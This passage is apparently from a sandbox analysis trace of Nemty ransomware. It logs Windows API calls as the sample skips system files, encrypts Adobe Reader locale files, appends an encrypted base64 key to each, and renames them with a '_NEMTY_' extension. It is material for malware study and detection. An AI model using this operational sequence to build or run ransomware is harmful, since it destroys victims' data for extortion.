(lpString1="makeaccessible.SKY", lpString2="CONFIG.SYS") returned 1 [0183.475] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="RECYCLER") returned -1 [0183.475] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.475] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="bootmgr") returned 1 [0183.475] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="programdata") returned -1 [0183.475] lstrcmpiW (lpString1="makeaccessible.SKY", lpString2="appdata") returned 1 [0183.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SKY", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0183.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SKY", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SKY", lpUsedDefaultChar=0x0) returned 18 [0183.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0183.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SKY", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0183.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SKY", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SKY", lpUsedDefaultChar=0x0) returned 18 [0183.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0183.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SKY", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0183.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SKY", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SKY", lpUsedDefaultChar=0x0) returned 18 [0183.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SKY", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0183.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SKY", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SKY", lpUsedDefaultChar=0x0) returned 18 [0183.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.475] Sleep (dwMilliseconds=0x5) [0183.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21033170, dwHighDateTime=0x1d561e8)) [0183.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21033170, dwHighDateTime=0x1d561e8)) [0183.485] GetLastError () returned 0x0 [0183.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.485] GetLastError () returned 0x0 [0183.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0183.485] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.485] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.485] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.486] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="4oEM+78MTsSA9nATTJF7IalarQ8sr5J/aa526Un7MFwCyZFPMqVOSCuxZbVeQSO1\r\n+EMIUQ9E0DcJHh+t2vWnyvEiiFWCx62USWjGfKrslWUdD7mWx1qfG6RQytSWPSXN\r\nRF19Mddt/rHeivn2P2nzTczI3uwG40LS9BRKjna2+fn2zfD7mXredmh6o0ZlHXBP\r\nhsyw/93X2LDgs//F62M5c3zHgnwD1xcnvqoI1A4ySGdI9bEH+nXLOkfV5H4PCLVC\r\n7yqhKrjyDtwwbWR4V7P8ls7urRBi6eIaZZPAbu3NC/L7btsYKV9p+pROXJv8NAX0\r\nFcooki7WKR7izlQ130B8mw==\r\n", pcchString=0x653e5dc) returned 1 [0183.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0183.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.486] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\makeaccessible.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\makeaccessible.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.486] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=74240) returned 1 [0183.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12200) returned 0x6352c48 [0183.486] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.486] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12200, lpOverlapped=0x0) returned 1 [0183.492] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.492] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12200, lpOverlapped=0x0) returned 1 [0183.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.493] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=74240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12200 [0183.493] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.493] CloseHandle (hObject=0x2e8) returned 1 [0183.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0183.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0183.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0183.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0183.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0183.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0183.493] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\makeaccessible.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\makeaccessible.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\makeaccessible.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\makeaccessible.sky._nemty_kgobjgd_")) returned 1 [0183.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0183.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.494] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.SKY", cAlternateFileName="MULTIM~1.SKY")) returned 1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2=".") returned 1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="..") returned 1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="...") returned 1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="windows") returned -1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="rsa") returned -1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="NTDETECT.COM") returned -1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="ntldr") returned -1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="MSDOS.SYS") returned 1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="IO.SYS") returned 1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="boot.ini") returned 1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="boot.ini") returned 1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="ntuser.dat") returned -1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="desktop.ini") returned 1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="CONFIG.SYS") returned 1 [0183.494] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="RECYCLER") returned -1 [0183.495] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.495] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="bootmgr") returned 1 [0183.495] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="programdata") returned -1 [0183.495] lstrcmpiW (lpString1="Multimedia.SKY", lpString2="appdata") returned 1 [0183.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SKY", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0183.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SKY", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SKY", lpUsedDefaultChar=0x0) returned 14 [0183.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SKY", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0183.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SKY", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SKY", lpUsedDefaultChar=0x0) returned 14 [0183.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SKY", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0183.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SKY", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SKY", lpUsedDefaultChar=0x0) returned 14 [0183.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SKY", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0183.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SKY", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SKY", lpUsedDefaultChar=0x0) returned 14 [0183.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.495] Sleep (dwMilliseconds=0x5) [0183.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x210592d0, dwHighDateTime=0x1d561e8)) [0183.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x210592d0, dwHighDateTime=0x1d561e8)) [0183.501] GetLastError () returned 0x0 [0183.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.501] GetLastError () returned 0x0 [0183.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.501] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.501] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.501] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.501] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="0jIv5mzeMtrDQ7iaKWNgBoA/Qk3lTsVUzcQyxDSjJm57vDw+C/13J35+LxpDNknn\r\n8pdS/1GmMULojkPaHAoM7CdXSM+cH8Y4pepNI4cGjaHHdWGmgAkLeTmwZ/e2NTdQ\r\nUoPMldlGCwhtyyg26cm0A+4FueNGre7sAnTa3a0yoHRHUME/SMR2uDdjCe+oWeDh\r\ndIi0d1U+InRt1Y/fLoc9B63Vh4xt4f04QdnIJE9+apofS1U3DCbcc9lyQssuIV1a\r\n2QMSQrdEquFzLJvx3v3+e6kKkkjCT/A99G/5C+MJ798I/dnv+IXJzI9JT6H6YEKY\r\nP49qSj8aI2pg/cNqGGMTZg==\r\n", pcchString=0x653e5dc) returned 1 [0183.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.501] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Multimedia.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\multimedia.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.502] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=79360) returned 1 [0183.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13600) returned 0x6352c48 [0183.502] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.502] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13600, lpOverlapped=0x0) returned 1 [0183.508] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.508] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13600, lpOverlapped=0x0) returned 1 [0183.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.509] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=79360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13600 [0183.509] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.509] CloseHandle (hObject=0x2e8) returned 1 [0183.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.509] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Multimedia.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\multimedia.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Multimedia.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\multimedia.sky._nemty_kgobjgd_")) returned 1 [0183.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.510] HeapFree (in: hHeap=0x4f90000, 